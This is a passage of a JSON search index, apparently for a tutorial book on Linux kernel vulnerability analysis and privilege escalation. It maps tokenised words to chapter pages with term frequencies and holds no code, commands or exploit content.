alysis.html","tf":0.0005706134094151213}}}}}}}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"c":{"docs":{},"c":{"docs":{},"o":{"docs":{},"m":{"docs":{},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}},".":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"u":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.002982530890498509}},"e":{"docs":{},"b":{"docs":{},"i":{"docs":{},"t":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"f":{"docs":{},"a":{"docs":{},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},",":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032}}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0008559201141226819},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}},"o":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"e":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0017391304347826088},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0076045627376425855},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.008273894436519259},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.005600672080649678}},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"l":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{},"(":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"f":{"docs":{},"_":{"docs":{},"e":{"docs":{},"x":{"docs":{},"e":{"docs":{},"c":{"docs":{},"_":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"i":{"docs":{},"n":{"docs":{},"u":{"docs":{},"x":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0034086067319982955},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.025}},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{},"r":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0012782275244993609},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},":":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"d":{"docs":{},"m":{"docs":{},"s":{"docs":{},"g":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"q":{"docs":{},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"e":{"docs":{},"n":{"docs":{},"c":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"u":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"i":{"docs":{},"a":{"docs":{},"l":{"docs":{},"_":{"docs":{},"i":{"docs":{},"o":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"a":{"docs":{},"v":{"docs":{},"g":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},"s":{"docs":{},"s":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"p":{"docs":{},"t":{"docs":{},"e":{"docs":{},"m":{"docs":{},"b":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}},"g":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"h":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.011406844106463879}},"a":{"docs":{},"l":{"docs":{},"l":{"docs":{},"o":{"docs":{},"w":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}},"r":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"e":{"docs":{},"l":{"docs":{},"l":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},".":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.0125}}}},"o":{"docs":{},"r":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"h":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464}}}}}}}},"w":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}},"n":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"o":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}}},"f":{"docs":{},"t":{"docs":{},"w":{"docs":{},"a":{"docs":{},"r":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247}},"e":{"docs":{},":":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}}}},"i":{"docs":{},"r":{"docs":{},"q":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"d":{"docs":{},"i":{"docs":{},"s":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},"_":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"i":{"docs":{},"p":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"e":{"docs":{},"n":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},"_":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"i":{"docs":{},"p":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"s":{"docs":{},"_":{"docs":{},"e":{"docs":{},"n":{"docs":{},"a":{"docs":{},"b":{"docs":{},"l":{"docs":{},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}},"u":{"docs":{},"r":{"docs":{},"c":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.013015184381778741},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0014265335235378032},"chapters/resources.html":{"ref":"chapters/resources.html","tf":0.025}}}},"p":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"o":{"docs":{},"n":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"f":{"docs":{},"d":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"[":{"2":{"docs":{},"]":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"docs":{}}}},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"m":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},"e":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0022402688322598714}},"'":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},"\\":{"docs":{},"n":{"docs":{},"\"":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}},"p":{"docs":{},"a":{"docs":{},"i":{"docs":{},"r":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},"\\":{"docs":{},"n":{"docs":{},"\"":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}},"m":{"docs":{},"e":{"docs":{},"h":{"docs":{},"o":{"docs":{},"w":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"p":{"docs":{},"a":{"docs":{},"c":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.004480537664519743}},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}}},"w":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"e":{"docs":{},"c":{"docs":{},"i":{"docs":{},"f":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"i":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371}},"c":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"n":{"docs":{},"t":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}},"i":{"docs":{},"n":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"_":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"(":{"docs":{},"&":{"docs":{},"t":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}},"_":{"docs":{},"i":{"docs":{},"r":{"docs":{},"q":{"docs":{},"s":{"docs":{},"a":{"docs":{},"v":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"e":{"docs":{},"(":{"docs":{},"&":{"docs":{},"w":{"docs":{},"q":{"docs":{},"_":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}},"u":{"docs":{},"n":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"_":{"docs":{},"i":{"docs":{},"r":{"docs":{},"q":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"r":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{},"o":{"docs":{},"r":{"docs":{},"e":{"docs":{},"(":{"docs":{},"&":{"docs":{},"w":{"docs":{},"q":{"docs":{},"_":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"l":{"docs":{},"i":{"docs":{},"c":{"docs":{},"e":{"docs":{},"(":{"docs":{},")":{"docs":{},":":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"docs":{},"r":{"docs":{},"s":{"docs":{},"s":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"u":{"docs":{},"n":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}},"u":{"docs":{},"g":{"docs":{},"g":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}}}},"p":{"docs":{},"p":{"docs":{},"o":{"docs":{},"r":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0038022813688212928},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"e":{"docs":{},"d":{"docs":{},".":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"l":{"docs":{},"e":{"docs":{},"m":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"a":{"docs":{},"r":{"docs":{},"i":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"e":{"docs":{},"r":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"r":{"docs":{},"e":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.006507592190889371},"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}}}},"b":{"docs":{},"j":{"docs":{},"e":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0025564550489987218}}}}}},"s":{"docs":{},"c":{"docs":{},"r":{"docs":{},"i":{"docs":{},"b":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"e":{"docs":{},"r":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"p":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"e":{"docs":{},"q":{"docs":{},"u":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205}}}}},"y":{"docs":{},"s":{"docs":{},"t":{"docs":{},"e":{"docs":{},"m":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},".":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}}}}}}}}}},"i":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"c":{"docs":{},"c":{"docs":{},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}},"f":{"docs":{},"u":{"docs":{},"l":{"docs":{},"l":{"docs":{},"i":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}},"y":{"docs":{},"\\":{"docs":{},"n":{"docs":{},"\"":{"docs":{},")":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}}}}}}}},"h":{"docs":{"chapters/scripted-privilege-escalation.html":{"ref":"chapters/scripted-privilege-escalation.html","tf":0.0019011406844106464},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"m":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0008401008120974517}}}},"y":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"n":{"docs":{},"c":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"h":{"docs":{},"r":{"docs":{},"o":{"docs":{},"n":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}},"i":{"docs":{},"z":{"docs":{},"e":{"docs":{},"d":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"_":{"docs":{},"r":{"docs":{},"c":{"docs":{},"u":{"docs":{},"(":{"docs":{},")":{"docs":{},".":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}},";":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362}}}}}}}}}}}}}}}}}},"s":{"docs":{},".":{"docs":{},"v":{"docs":{},"e":{"docs":{},"r":{"docs":{},"s":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}},"(":{"docs":{},"m":{"docs":{},"a":{"docs":{},"j":{"docs":{},"o":{"docs":{},"r":{"docs":{},"=":{"2":{"docs":{},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237}}}},"docs":{}}}}}}}}}}}}}}}}}}}}},"t":{"docs":{},"e":{"docs":{},"m":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.004338394793926247},"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.003138373751783167},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.008401008120974517}},",":{"docs":{"chapters/environment-setup.html":{"ref":"chapters/environment-setup.html","tf":0.0021691973969631237},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},".":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}},"m":{"docs":{},"a":{"docs":{},"p":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0005797101449275362},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"v":{"docs":{},"_":{"docs":{},"s":{"docs":{},"e":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"h":{"docs":{},"m":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"s":{"docs":{},"e":{"docs":{},"m":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}},"h":{"docs":{},"m":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"_":{"docs":{},"e":{"docs":{},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"l":{"docs":{},"_":{"docs":{},"c":{"docs":{},"t":{"docs":{},"l":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"5":{"5":{"8":{"docs":{},"/":{"0":{"docs":{},"x":{"2":{"4":{"docs":{},"f":{"0":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}},"docs":{}},"docs":{}}},"docs":{}}}},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"1":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},".":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"docs":{}}}}}}},"w":{"docs":{},"a":{"docs":{},"i":{"docs":{},"t":{"docs":{},"(":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}},"x":{"docs":{},"i":{"docs":{},"t":{"docs":{},"_":{"docs":{},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{},"+":{"0":{"docs":{},"x":{"1":{"4":{"docs":{},"/":{"0":{"docs":{},"x":{"1":{"4":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"docs":{}},"docs":{}}},"docs":{}}},"docs":{}},"docs":{}}},"docs